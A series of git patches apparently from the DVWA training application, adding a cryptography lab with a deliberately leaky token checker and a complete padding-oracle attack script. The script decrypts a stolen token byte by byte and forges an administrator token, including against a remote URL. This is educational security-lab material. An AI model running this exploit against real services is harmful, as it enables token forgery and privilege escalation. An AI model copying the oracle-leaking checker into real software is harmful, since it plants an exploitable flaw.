deletion(-) diff --git a/dvwa/includes/dvwaPage.inc.php b/dvwa/includes/dvwaPage.inc.php index d7fb5d97..4f266abc 100644 --- a/dvwa/includes/dvwaPage.inc.php +++ b/dvwa/includes/dvwaPage.inc.php @@ -513,7 +513,7 @@ function dvwaSourceHtmlEcho( $pPage ) { // To be used on all external links -- function dvwaExternalLinkUrlGet( $pLink,$text=null ) { - if(is_null( $text )) { + if(is_null( $text ) || $text == "") { return '' . $pLink . ''; } else { From 5ad371202dd64b1d18a1756b27f5eb7c4221ec72 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Wed, 4 Sep 2024 22:37:23 +0100 Subject: [PATCH 18/32] references --- vulnerabilities/cryptography/index.php | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/vulnerabilities/cryptography/index.php b/vulnerabilities/cryptography/index.php index ce3950ea..97c7587b 100644 --- a/vulnerabilities/cryptography/index.php +++ b/vulnerabilities/cryptography/index.php @@ -43,9 +43,18 @@

More Information

    -
  • " . dvwaExternalLinkUrlGet( 'https://exploit-notes.hdks.org/exploit/cryptography/algorithm/aes-ecb-padding-attack' ) . "
  • -
  • " . dvwaExternalLinkUrlGet( 'https://www.scottbrady91.com/cryptopals/implementing-and-breaking-aes-ecb' ) . "
  • -
  • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation' ) . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://exploit-notes.hdks.org/exploit/cryptography/algorithm/aes-ecb-padding-attack', "AES-ECB Padding Attack" ) . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://www.scottbrady91.com/cryptopals/implementing-and-breaking-aes-ecb', "Implementing and breaking AES ECB") . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation', "Wikipedia - Block cipher mode of operation" ) . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://www.nccgroup.com/us/research-blog/cryptopals-exploiting-cbc-padding-oracles/', "Cryptopals: Exploiting CBC Padding Oracles - Best article") . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://yurichev.org/pkcs7/', "[Crypto] PKCS#7 padding") . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Padding_oracle_attack', "Padding oracle attack") . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://medium.com/@masjadaan/oracle-padding-attack-a61369993c86', "Oracle Padding Attack") . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://robertheaton.com/2013/07/29/padding-oracle-attack/', "The Padding Oracle Attack") . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Padding_%28cryptography%29', "Wikipedia - Padding (cryptography)") . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://gchq.github.io/CyberChef/', "CyberChef") . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://www.101computing.net/xor-encryption-algorithm/', "XOR Encryption Algorithm") . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/XOR_cipher', "XOR Cipher") . "
\n"; From 9a84c202820656d202d524bc0ed948d19effef02 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Wed, 4 Sep 2024 22:38:03 +0100 Subject: [PATCH 19/32] high coming soon --- vulnerabilities/cryptography/source/high.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/vulnerabilities/cryptography/source/high.php b/vulnerabilities/cryptography/source/high.php index e6953cd4..e31b8b85 100644 --- a/vulnerabilities/cryptography/source/high.php +++ b/vulnerabilities/cryptography/source/high.php @@ -1,5 +1,5 @@ From 84d796f13e88b18e2f8f4cb09d2f20b78397b804 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Sun, 8 Sep 2024 20:46:39 +0100 Subject: [PATCH 20/32] working in the app --- .../cryptography/source/check_token.php | 105 ++++++++++++++++++ vulnerabilities/cryptography/source/high.php | 94 +++++++++++++++- 2 files changed, 198 insertions(+), 1 deletion(-) create mode 100644 vulnerabilities/cryptography/source/check_token.php diff --git a/vulnerabilities/cryptography/source/check_token.php b/vulnerabilities/cryptography/source/check_token.php new file mode 100644 index 00000000..101afb2a --- /dev/null +++ b/vulnerabilities/cryptography/source/check_token.php @@ -0,0 +1,105 @@ + "Geoffery", "level" => "admin"); + $users[2] = array ("name" => "Bungle", "level" => "user"); + $users[3] = array ("name" => "Zippy", "level" => "user"); + $users[4] = array ("name" => "George", "level" => "user"); + + $data_array = false; + try { + $data_array = json_decode ($data, true); + } catch (TypeError $exp) { + $ret = array ( + "status" => 521, + "message" => "Data not in JSON format", + "extra" => $exp->getMessage() + ); + } + + if ($data_array === false) { + $ret = array ( + "status" => 522, + "message" => "Data in wrong format" + ); + } else { + if (!array_key_exists ("token", $data_array)) { + $ret = array ( + "status" => 523, + "message" => "Missing token" + ); + return json_encode ($ret); + } + if (!array_key_exists ("iv", $data_array)) { + $ret = array ( + "status" => 524, + "message" => "Missing IV" + ); + return json_encode ($ret); + } + + $ciphertext = base64_decode ($data_array['token']); + $iv = base64_decode ($data_array['iv']); + + # Asssume failure + $ret = array ( + "status" => 500, + "message" => "Unknown error" + ); + try { + $d = decrypt ($ciphertext, $iv); + if (preg_match ("/^userid:(\d+)$/", $d, $matches)) { + $id = $matches[1]; + if (array_key_exists ($id, $users)) { + $user = $users[$id]; + $ret = array ( + "status" => 200, + "user" => $user["name"], + "level" => $user['level'] + ); + } else { + $ret = array ( + "status" => 525, + "message" => "User not found" + ); + } + } + } catch (Exception $exp) { + $ret = array ( + "status" => 526, + "message" => "Unable to decrypt token", + "extra" => $exp->getMessage() + ); + } + } + return json_encode ($ret); +} + +$ret = ""; + +if ($_SERVER['REQUEST_METHOD'] == "POST") { + $token = $jsonData = file_get_contents('php://input'); + $ret = check_token ($token); +} else { + $ret = json_encode (array ( + "status" => 405, + "message" => "Method not supported" + )); +} + +print $ret; +exit; diff --git a/vulnerabilities/cryptography/source/high.php b/vulnerabilities/cryptography/source/high.php index e31b8b85..7dc77642 100644 --- a/vulnerabilities/cryptography/source/high.php +++ b/vulnerabilities/cryptography/source/high.php @@ -1,5 +1,97 @@ base64_encode ($e), + "iv" => base64_encode ($iv_string) + ); + return json_encode($data); +} + +$message = ""; + +$token_data = create_token(); + +$html = " + +

+ You have managed to steal the following token from a user of the Prognostication application. +

+

+ +

+

+ You can use the form below to provide the token to access the system. You have two challenges, first, decrypt the token to find out the secret it contains, and then create a new token to access the system as a other users. See if you can make yourself an administrator. +

+
+
+
+

+

+

+ +

+ +"; ?> From 6ca4cb2086fdadc373988046861c0ccd557cc95d Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Mon, 9 Sep 2024 22:32:08 +0100 Subject: [PATCH 21/32] working and tidied up --- .../cryptography/source/check_token.php | 100 +---- .../cryptography/source/oracle.php | 386 ------------------ .../cryptography/source/oracle_attack.php | 289 +++++++++++++ .../cryptography/source/oracle_library.php | 127 ++++++ 4 files changed, 426 insertions(+), 476 deletions(-) delete mode 100644 vulnerabilities/cryptography/source/oracle.php create mode 100644 vulnerabilities/cryptography/source/oracle_attack.php create mode 100644 vulnerabilities/cryptography/source/oracle_library.php diff --git a/vulnerabilities/cryptography/source/check_token.php b/vulnerabilities/cryptography/source/check_token.php index 101afb2a..b08538f6 100644 --- a/vulnerabilities/cryptography/source/check_token.php +++ b/vulnerabilities/cryptography/source/check_token.php @@ -1,99 +1,19 @@ "Geoffery", "level" => "admin"); - $users[2] = array ("name" => "Bungle", "level" => "user"); - $users[3] = array ("name" => "Zippy", "level" => "user"); - $users[4] = array ("name" => "George", "level" => "user"); - - $data_array = false; - try { - $data_array = json_decode ($data, true); - } catch (TypeError $exp) { - $ret = array ( - "status" => 521, - "message" => "Data not in JSON format", - "extra" => $exp->getMessage() - ); - } - - if ($data_array === false) { - $ret = array ( - "status" => 522, - "message" => "Data in wrong format" - ); - } else { - if (!array_key_exists ("token", $data_array)) { - $ret = array ( - "status" => 523, - "message" => "Missing token" - ); - return json_encode ($ret); - } - if (!array_key_exists ("iv", $data_array)) { - $ret = array ( - "status" => 524, - "message" => "Missing IV" - ); - return json_encode ($ret); - } - - $ciphertext = base64_decode ($data_array['token']); - $iv = base64_decode ($data_array['iv']); - - # Asssume failure - $ret = array ( - "status" => 500, - "message" => "Unknown error" - ); - try { - $d = decrypt ($ciphertext, $iv); - if (preg_match ("/^userid:(\d+)$/", $d, $matches)) { - $id = $matches[1]; - if (array_key_exists ($id, $users)) { - $user = $users[$id]; - $ret = array ( - "status" => 200, - "user" => $user["name"], - "level" => $user['level'] - ); - } else { - $ret = array ( - "status" => 525, - "message" => "User not found" - ); - } - } - } catch (Exception $exp) { - $ret = array ( - "status" => 526, - "message" => "Unable to decrypt token", - "extra" => $exp->getMessage() - ); - } - } - return json_encode ($ret); -} +require_once ("oracle_library.php"); $ret = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { - $token = $jsonData = file_get_contents('php://input'); - $ret = check_token ($token); + if ($_SERVER['CONTENT_TYPE'] != "application/json") { + $ret = json_encode (array ( + "status" => 527, + "message" => "Content type must be application/json" + )); + } else { + $token = $jsonData = file_get_contents('php://input'); + $ret = check_token ($token); + } } else { $ret = json_encode (array ( "status" => 405, diff --git a/vulnerabilities/cryptography/source/oracle.php b/vulnerabilities/cryptography/source/oracle.php deleted file mode 100644 index b6ed055c..00000000 --- a/vulnerabilities/cryptography/source/oracle.php +++ /dev/null @@ -1,386 +0,0 @@ - base64_encode ($e), - "iv" => base64_encode ($iv_string) - ); - return json_encode($data); -} - -function make_call ($token, $iv) { - # This maps the IV byte array down to a string - $iv_string = implode(array_map("chr", $iv)); - - # Now base64 encode it so it is safe to send - $iv_string_b64 = base64_encode ($iv_string); - - $data = array ( - "token" => $token, - "iv" => $iv_string_b64 - ); - $ret = check_token (json_encode ($data)); - return $ret; -} - -function check_token ($data) { - $users = array (); - $users[1] = array ("name" => "Geoffery", "level" => "admin"); - $users[2] = array ("name" => "Bungle", "level" => "user"); - $users[3] = array ("name" => "Zippy", "level" => "user"); - $users[4] = array ("name" => "George", "level" => "user"); - - $data_array = false; - try { - $data_array = json_decode ($data, true); - } catch (TypeError $exp) { - $ret = array ( - "status" => 503, - "message" => "Data not in JSON format", - "extra" => $exp->getMessage() - ); - } - - if ($data_array === false) { - $ret = array ( - "status" => 502, - "message" => "Data in wrong format" - ); - } else { - $ciphertext = base64_decode ($data_array['token']); - $iv = base64_decode ($data_array['iv']); - - # Asssume failure - $ret = array ( - "status" => 500, - "message" => "Unknown error" - ); - try { - $d = decrypt ($ciphertext, $iv); - if (preg_match ("/^userid:(\d+)$/", $d, $matches)) { - $id = $matches[1]; - if (array_key_exists ($id, $users)) { - $user = $users[$id]; - $ret = array ( - "status" => 200, - "user" => $user["name"], - "level" => $user['level'] - ); - } else { - $ret = array ( - "status" => 500, - "message" => "User not found" - ); - } - } - } catch (Exception $exp) { - $ret = array ( - "status" => 501, - "message" => "Unable to decrypt token", - "extra" => $exp->getMessage() - ); - } - } - return json_encode ($ret); -} - -/* - -This is a test decrypt of a message encrypted on the command line using openssl. -xxd shows the 0x0b padding bytes at the end of the message. - -00000000: 7374 7269 6e67 2831 3629 2022 6865 6c6c string(16) "hell -00000010: 6f0b 0b0b 0b0b 0b0b 0b0b 0b0b 220a o...........". - -$key = chr(0xCA) . chr(0x97) . chr(0x81) . chr(0x12) . chr(0xCA) . chr(0x1B) . chr(0xBD) . chr(0xCA) . chr(0xFA) . chr(0xC2) . chr(0x31) . chr(0xB3) . chr(0x9A) . chr(0x23) . chr(0xDC) . chr(0x4D); -$iv = [ 0xA7, 0x86, 0xEF, 0xF8, 0x14, 0x7C, 0x4E, 0x72, 0xB9, 0x80, 0x77, 0x85, 0xAF, 0xEE, 0x48, 0xBB]; -$data = chr(0x74) . chr(0x55) . chr(0x06) . chr(0xd1) . chr(0xa3) . chr(0x78) . chr(0x7f) . chr(0x98) . chr(0xc7) . chr(0xec) . chr(0x06) . chr(0x47) . chr(0x64) . chr(0xad) . chr(0x94) . chr(0xad); -$d = decrypt ($data, $iv); -var_dump ($d); -exit; - -*/ - -/* - -This is a test decrypt of a message encrypted using the encrypt function. -xxd shows the 0x07 padding bytes at the end of the message. - -00000000: 7374 7269 6e67 2831 3629 2022 6120 6d65 string(16) "a me -00000010: 7373 6167 6507 0707 0707 0707 220a ssage.......". - -$key = "my key 16 bytes."; -$iv = [1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8]; -$clear_text = "a message"; -$e = encrypt ($clear_text, $iv); -$d = decrypt ($e, $iv); -var_dump ($d); -exit; - -*/ - -print "Creating the token\n"; -print "\n"; - -$token_data = json_decode (create_token(), true); -var_dump ($token_data); - -$token = $token_data['token']; -$iv_string_b64 = $token_data['iv']; -$iv_string = base64_decode ($iv_string_b64); -$temp_init_iv = unpack('C*', $iv_string); - -# The unpack creates an array starting a 1, the -# rest of this code assumes an array starting at 0 -# so calling array_values changes the array 0 based - -$init_iv = array_values ($temp_init_iv); - -print "\n"; -print "Trying to decrypt\n"; -print "\n"; - -$iv = zero_array(16); -$zeroing = zero_array(16); - -for ($padding = 1; $padding <= 16; $padding++) { - $offset = 16 - $padding; - print ("Looking at offset $offset for padding $padding\n"); - for ($i = 0; $i <= 0xff; $i++) { - $iv[$offset] = $i; - for ($k = $offset + 1; $k < 16; $k++) { - $iv[$k] = $zeroing[$k] ^ $padding; - } - try { - $d = make_call ($token, $iv); - - $obj = json_decode ($d, true); - - # 501 is decryption failed - if ($obj['status'] != 501) { - print "Got hit for: " . $i . "\n"; - - # Only get here if the decrypt works correctly - - /* - - Check for edge case on offset 15 (right most byte). - The decrypted data could look like this: - - 0x44 ... 0x02 0x02 - ^^^^ Real last byte of value 2 byte padding - - In this situation, if we happen to land on a value - that sets the last byte to 0x02 then that will - look like valid padding as it will make the data end - in 0x02 0x02 as it already does: - - 0x44 ... 0x02 0x02 - ^^^^ Fluke, we want 0x01 for 1 byte padding - - This is what we want: - - 0x44 ... 0x02 0x01 - ^^^^ Valid 1 byte padding - - To do this, change the IV value for offset 14 which will - change the second to last byte and make the call again. - If we were in the edge case we would now have: - - 0x44 ... 0xf3 0x02 - ^^^^ No longer valid padding - - This is no longer valid padding so it will fail and we can - continue looking till we find the value that gives us - valid 1 byte padding. - - */ - - // Used by the edge case check - - $ignore = false; - if ($offset == 15) { - print "Got a valid decrypt for offset 15, checking edge case\n"; - $temp_iv = $iv; - $temp_iv[14] = 0xff; - $temp_d = make_call ($token, $temp_iv); - $temp_d_obj = json_decode ($temp_d, true); - if ($temp_d_obj['status'] != 501) { - print "Not edge case, can continue\n"; - } else { - print "Edge case, do not continue\n"; - $ignore = true; - } - } - - if (!$ignore) { - print "There was a match\n"; - $zeroing[$offset] = $i ^ $padding; - # print "IV: " . byte_array_to_string ($iv) . "\n"; - # print "Zero: " . byte_array_to_string ($zeroing) . "\n"; - break; - } - } - } catch(Exception $exp) { - # print "Fail\n"; - # var_dump ($e); - } - } -} - -print "\n"; -print "Finished looping\n"; -print "\n"; - -print "Derived IV is: " . byte_array_to_string ($iv) . "\n"; - -# If you want to check this, it should be all 16 to show it is all padding -# $x = xor_byte_array ($iv, $zeroing); -# print "Derived IV XOR and zeroing string: " . byte_array_to_string ($x) . "\n"; - -print "Real IV is: " . byte_array_to_string ($init_iv) . "\n"; -print "Zeroing array is: " . byte_array_to_string ($zeroing) . "\n"; - -$x = xor_byte_array ($init_iv, $zeroing); -print "Decrypted string with padding: " . byte_array_to_string ($x) . "\n"; -$number_of_padding_bytes = $x[15]; -$without_padding = array_slice ($x, 0, 16 - $number_of_padding_bytes); -print "\n"; -print "Decrypted string dump: " . byte_array_to_string ($without_padding) . "\n"; - -$str = ''; -for ($i = 0; $i < count ($without_padding); $i++) { - $c = $without_padding[$i]; - if ($c > 0x19 && $c < 0x7f) { - $str .= chr($c); - } else { - $str .= "0x" . sprintf ("%02x", $c) . " "; - } -} - -print "Decrypted string as text: " . $str . "\n"; - -/* -Trying to modify decrypted data by playing with the zeroing array. -*/ - -print "\n"; -print "Trying to modify string\n"; -print "\n"; - -$new_clear = "userid:1"; -print "New clear text: " . $new_clear . "\n"; - -for ($i = 0; $i < strlen($new_clear); $i++) { - $zeroing[$i] = $zeroing[$i] ^ ord($new_clear[$i]); -} -$padding = 16 - strlen($new_clear); -$offset = 16 - $padding; -for ($i = $offset; $i < 16; $i++) { - $zeroing[$i] = $zeroing[$i] ^ $padding; -} - -print "New IV is: " . byte_array_to_string ($zeroing) . "\n"; - -print "Sending new data to server\n"; - -try { - $result = make_call ($token, $zeroing); - $ret_obj = json_decode ($result, true); - - var_dump ($ret_obj); - - if ($ret_obj['status'] == 200 && $ret_obj['level'] == "admin") { - print "Hack success!\n"; - } else { - print "Hack failed\n"; - } -} catch (Exception $exp) { - print "Hack failed, system could not decrypt message\n"; - var_dump ($exp); -} diff --git a/vulnerabilities/cryptography/source/oracle_attack.php b/vulnerabilities/cryptography/source/oracle_attack.php new file mode 100644 index 00000000..6cad2df8 --- /dev/null +++ b/vulnerabilities/cryptography/source/oracle_attack.php @@ -0,0 +1,289 @@ + $token, + "iv" => $iv_string_b64 + ); + + if (is_null ($url)) { + $ret = check_token (json_encode ($data)); + } else { + $ch = curl_init(); + + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json', 'Accept:application/json')); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode ($data)); + + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $ret = curl_exec($ch); + // May return false or something that evaluates to false + // so can't do strict type check + if ($ret == false) { + print "Could not access remote server, is the URL correct? +${url} +"; + exit; + } + + curl_close($ch); + + } + + return json_decode ($ret, true); +} + +function do_attack ($iv_string_b64, $token, $url) { + $iv_string = base64_decode ($iv_string_b64); + $temp_init_iv = unpack('C*', $iv_string); + + # The unpack creates an array starting a 1, the + # rest of this code assumes an array starting at 0 + # so calling array_values changes the array 0 based + + $init_iv = array_values ($temp_init_iv); + + print "Trying to decrypt\n"; + print "\n"; + + $iv = zero_array(16); + $zeroing = zero_array(16); + + + for ($padding = 1; $padding <= 16; $padding++) { + $offset = 16 - $padding; + print ("Looking at offset $offset for padding $padding\n"); + for ($i = 0; $i <= 0xff; $i++) { + $iv[$offset] = $i; + for ($k = $offset + 1; $k < 16; $k++) { + $iv[$k] = $zeroing[$k] ^ $padding; + } + try { + $obj = make_call ($token, $iv, $url); + + # 526 is decryption failed + if ($obj['status'] != 526) { + print "Got hit for: " . $i . "\n"; + + # Only get here if the decrypt works correctly + + /* + + Check for edge case on offset 15 (right most byte). + The decrypted data could look like this: + + 0x44 ... 0x02 0x02 + ^^^^ Real last byte of value 2 byte padding + + In this situation, if we happen to land on a value + that sets the last byte to 0x02 then that will + look like valid padding as it will make the data end + in 0x02 0x02 as it already does: + + 0x44 ... 0x02 0x02 + ^^^^ Fluke, we want 0x01 for 1 byte padding + + This is what we want: + + 0x44 ... 0x02 0x01 + ^^^^ Valid 1 byte padding + + To do this, change the IV value for offset 14 which will + change the second to last byte and make the call again. + If we were in the edge case we would now have: + + 0x44 ... 0xf3 0x02 + ^^^^ No longer valid padding + + This is no longer valid padding so it will fail and we can + continue looking till we find the value that gives us + valid 1 byte padding. + + */ + + // Used by the edge case check + + $ignore = false; + if ($offset == 15) { + print "Got a valid decrypt for offset 15, checking edge case\n"; + $temp_iv = $iv; + $temp_iv[14] = 0xff; + $temp_d_obj = make_call ($token, $temp_iv, $url); + if ($temp_d_obj['status'] != 526) { + print "Not edge case, can continue\n"; + } else { + print "Edge case, do not continue\n"; + $ignore = true; + } + } + + if (!$ignore) { + print "There was a match\n"; + $zeroing[$offset] = $i ^ $padding; + # print "IV: " . byte_array_to_string ($iv) . "\n"; + # print "Zero: " . byte_array_to_string ($zeroing) . "\n"; + break; + } + } + } catch(Exception $exp) { + # print "Fail\n"; + # var_dump ($e); + } + } + } + + print "\n"; + print "Finished looping\n"; + print "\n"; + + print "Derived IV is: " . byte_array_to_string ($iv) . "\n"; + + # If you want to check this, it should be all 16 to show it is all padding + # $x = xor_byte_array ($iv, $zeroing); + # print "Derived IV XOR and zeroing string: " . byte_array_to_string ($x) . "\n"; + + print "Real IV is: " . byte_array_to_string ($init_iv) . "\n"; + print "Zeroing array is: " . byte_array_to_string ($zeroing) . "\n"; + + $x = xor_byte_array ($init_iv, $zeroing); + print "Decrypted string with padding: " . byte_array_to_string ($x) . "\n"; + $number_of_padding_bytes = $x[15]; + $without_padding = array_slice ($x, 0, 16 - $number_of_padding_bytes); + print "\n"; + print "Decrypted string dump: " . byte_array_to_string ($without_padding) . "\n"; + + $str = ''; + for ($i = 0; $i < count ($without_padding); $i++) { + $c = $without_padding[$i]; + if ($c > 0x19 && $c < 0x7f) { + $str .= chr($c); + } else { + $str .= "0x" . sprintf ("%02x", $c) . " "; + } + } + + print "Decrypted string as text: " . $str . "\n"; + + /* + Trying to modify decrypted data by playing with the zeroing array. + */ + + print "\n"; + print "Trying to modify string\n"; + print "\n"; + + $new_clear = "userid:1"; + print "New clear text: " . $new_clear . "\n"; + + for ($i = 0; $i < strlen($new_clear); $i++) { + $zeroing[$i] = $zeroing[$i] ^ ord($new_clear[$i]); + } + $padding = 16 - strlen($new_clear); + $offset = 16 - $padding; + for ($i = $offset; $i < 16; $i++) { + $zeroing[$i] = $zeroing[$i] ^ $padding; + } + + print "New IV is: " . byte_array_to_string ($zeroing) . "\n"; + + print "Sending new data to server\n"; + + try { + $ret_obj = make_call ($token, $zeroing, $url); + + var_dump ($ret_obj); + + if ($ret_obj['status'] == 200 && $ret_obj['level'] == "admin") { + print "Hack success!\n"; + } else { + print "Hack failed\n"; + } + } catch (Exception $exp) { + print "Hack failed, system could not decrypt message\n"; + var_dump ($exp); + } +} + +$shortopts = ""; +$shortopts .= "h"; // Help + +$longopts = array( +"url:", // Required value +"iv:", // Required value +"token:", // Required value +"local", // No value +"help", // No value +); +$options = getopt($shortopts, $longopts); + +if (array_key_exists ("h", $options) || array_key_exists ("help", $options)) { + print "This script can either test against a local decryptor or a remote.\n +To test locally, pass --local, otherwise pass the IV, token and URL for the remote system. + +--local - Test locally +--iv - IV from remote system +--token - Token from remote system +--url - URL for the check function +-h, --help - help + +"; + exit; +} elseif (array_key_exists ("l", $options) || array_key_exists ("local", $options)) { + print "Creating the token locally\n\n"; + + $token_data = json_decode (create_token(), true); + + $token = $token_data['token']; + $iv = $token_data['iv']; + $url = null; +} elseif (array_key_exists ("iv", $options) && + array_key_exists ("token", $options) && + array_key_exists ("url", $options)) { + print "Attacking remote server using parameters provided\n\n"; + + $token = $options['token']; + $iv = $options['iv']; + $url = $options['url']; +} else { + print "Either specify --local or provide the IV, token and URL\n\n"; + exit; +} + +do_attack ($iv, $token, $url); diff --git a/vulnerabilities/cryptography/source/oracle_library.php b/vulnerabilities/cryptography/source/oracle_library.php new file mode 100644 index 00000000..d5afb979 --- /dev/null +++ b/vulnerabilities/cryptography/source/oracle_library.php @@ -0,0 +1,127 @@ + base64_encode ($e), + "iv" => base64_encode (IV) + ); + return json_encode($data); +} + +function check_token ($data) { + $users = array (); + $users[1] = array ("name" => "Geoffery", "level" => "admin"); + $users[2] = array ("name" => "Bungle", "level" => "user"); + $users[3] = array ("name" => "Zippy", "level" => "user"); + $users[4] = array ("name" => "George", "level" => "user"); + + $data_array = false; + try { + $data_array = json_decode ($data, true); + } catch (TypeError $exp) { + $ret = array ( + "status" => 521, + "message" => "Data not in JSON format", + "extra" => $exp->getMessage() + ); + } + + if (is_null ($data_array)) { + $ret = array ( + "status" => 522, + "message" => "Data in wrong format" + ); + } else { + if (!array_key_exists ("token", $data_array)) { + $ret = array ( + "status" => 523, + "message" => "Missing token" + ); + return json_encode ($ret); + } + if (!array_key_exists ("iv", $data_array)) { + $ret = array ( + "status" => 524, + "message" => "Missing IV" + ); + return json_encode ($ret); + } + + $ciphertext = base64_decode ($data_array['token']); + $iv = base64_decode ($data_array['iv']); + + # Asssume failure + $ret = array ( + "status" => 500, + "message" => "Unknown error" + ); + try { + $d = decrypt ($ciphertext, $iv); + if (preg_match ("/^userid:(\d+)$/", $d, $matches)) { + $id = $matches[1]; + if (array_key_exists ($id, $users)) { + $user = $users[$id]; + $ret = array ( + "status" => 200, + "user" => $user["name"], + "level" => $user['level'] + ); + } else { + $ret = array ( + "status" => 525, + "message" => "User not found" + ); + } + } else { + $ret = array ( + "status" => 527, + "message" => "No user specified" + ); + } + } catch (Exception $exp) { + $ret = array ( + "status" => 526, + "message" => "Unable to decrypt token", + "extra" => $exp->getMessage() + ); + } + } + return json_encode ($ret); +} + From 32ba1ea98ca3b0d60ba3c7dde24653647b2f077e Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Mon, 9 Sep 2024 22:40:56 +0100 Subject: [PATCH 22/32] use the library --- vulnerabilities/cryptography/source/high.php | 33 ++------------------ 1 file changed, 3 insertions(+), 30 deletions(-) diff --git a/vulnerabilities/cryptography/source/high.php b/vulnerabilities/cryptography/source/high.php index 7dc77642..01633aa2 100644 --- a/vulnerabilities/cryptography/source/high.php +++ b/vulnerabilities/cryptography/source/high.php @@ -1,33 +1,6 @@ base64_encode ($e), - "iv" => base64_encode ($iv_string) - ); - return json_encode($data); -} +require ("oracle_library.php"); $message = ""; @@ -76,7 +49,7 @@ function send_token() { You have managed to steal the following token from a user of the Prognostication application.

- +

You can use the form below to provide the token to access the system. You have two challenges, first, decrypt the token to find out the secret it contains, and then create a new token to access the system as a other users. See if you can make yourself an administrator. @@ -86,7 +59,7 @@ function send_token() {

From b519dd40856bb34ec76dccb6a2e0ebe34f203b5e Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Mon, 9 Sep 2024 22:55:46 +0100 Subject: [PATCH 23/32] tidy output --- vulnerabilities/cryptography/source/oracle_attack.php | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/vulnerabilities/cryptography/source/oracle_attack.php b/vulnerabilities/cryptography/source/oracle_attack.php index 6cad2df8..e407e6ca 100644 --- a/vulnerabilities/cryptography/source/oracle_attack.php +++ b/vulnerabilities/cryptography/source/oracle_attack.php @@ -181,13 +181,13 @@ function do_attack ($iv_string_b64, $token, $url) { print "Real IV is: " . byte_array_to_string ($init_iv) . "\n"; print "Zeroing array is: " . byte_array_to_string ($zeroing) . "\n"; + print "\n"; $x = xor_byte_array ($init_iv, $zeroing); print "Decrypted string with padding: " . byte_array_to_string ($x) . "\n"; $number_of_padding_bytes = $x[15]; $without_padding = array_slice ($x, 0, 16 - $number_of_padding_bytes); - print "\n"; - print "Decrypted string dump: " . byte_array_to_string ($without_padding) . "\n"; + print "Decrypted string without padding: " . byte_array_to_string ($without_padding) . "\n"; $str = ''; for ($i = 0; $i < count ($without_padding); $i++) { @@ -222,12 +222,14 @@ function do_attack ($iv_string_b64, $token, $url) { } print "New IV is: " . byte_array_to_string ($zeroing) . "\n"; + print "\n"; print "Sending new data to server\n"; try { $ret_obj = make_call ($token, $zeroing, $url); + print "Response from server:"; var_dump ($ret_obj); if ($ret_obj['status'] == 200 && $ret_obj['level'] == "admin") { From 11a0c71df3efb7b9d8bf2bd8510b922a2f856a74 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Fri, 20 Sep 2024 09:20:54 +0100 Subject: [PATCH 24/32] only print debug when asked to --- .../cryptography/source/oracle_attack.php | 4 ++-- .../cryptography/source/oracle_library.php | 13 +++++++++---- 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/vulnerabilities/cryptography/source/oracle_attack.php b/vulnerabilities/cryptography/source/oracle_attack.php index e407e6ca..91b244e9 100644 --- a/vulnerabilities/cryptography/source/oracle_attack.php +++ b/vulnerabilities/cryptography/source/oracle_attack.php @@ -229,7 +229,7 @@ function do_attack ($iv_string_b64, $token, $url) { try { $ret_obj = make_call ($token, $zeroing, $url); - print "Response from server:"; + print "Response from server:\n"; var_dump ($ret_obj); if ($ret_obj['status'] == 200 && $ret_obj['level'] == "admin") { @@ -270,7 +270,7 @@ function do_attack ($iv_string_b64, $token, $url) { } elseif (array_key_exists ("l", $options) || array_key_exists ("local", $options)) { print "Creating the token locally\n\n"; - $token_data = json_decode (create_token(), true); + $token_data = json_decode (create_token(true), true); $token = $token_data['token']; $iv = $token_data['iv']; diff --git a/vulnerabilities/cryptography/source/oracle_library.php b/vulnerabilities/cryptography/source/oracle_library.php index d5afb979..8a419ee1 100644 --- a/vulnerabilities/cryptography/source/oracle_library.php +++ b/vulnerabilities/cryptography/source/oracle_library.php @@ -29,12 +29,17 @@ function decrypt ($ciphertext, $iv) { return $e; } -function create_token () { +// Added the debug flag so that when calling from the script +// the function can print the data used to create the token + +function create_token ($debug = false) { $token = "userid:2"; - print "Clear text token: " . $token . "\n"; - print "Encryption key: " . KEY . "\n"; - print "IV: " . (IV) . "\n"; + if ($debug) { + print "Clear text token: " . $token . "\n"; + print "Encryption key: " . KEY . "\n"; + print "IV: " . (IV) . "\n"; + } $e = encrypt ($token, IV); $data = array ( From 7f67e2a9934544d6d403849b76fe9e09c2fe943e Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Fri, 20 Sep 2024 09:42:14 +0100 Subject: [PATCH 25/32] python never happened --- vulnerabilities/cryptography/source/oracle.py | 84 ------------------- 1 file changed, 84 deletions(-) delete mode 100644 vulnerabilities/cryptography/source/oracle.py diff --git a/vulnerabilities/cryptography/source/oracle.py b/vulnerabilities/cryptography/source/oracle.py deleted file mode 100644 index 79b29adf..00000000 --- 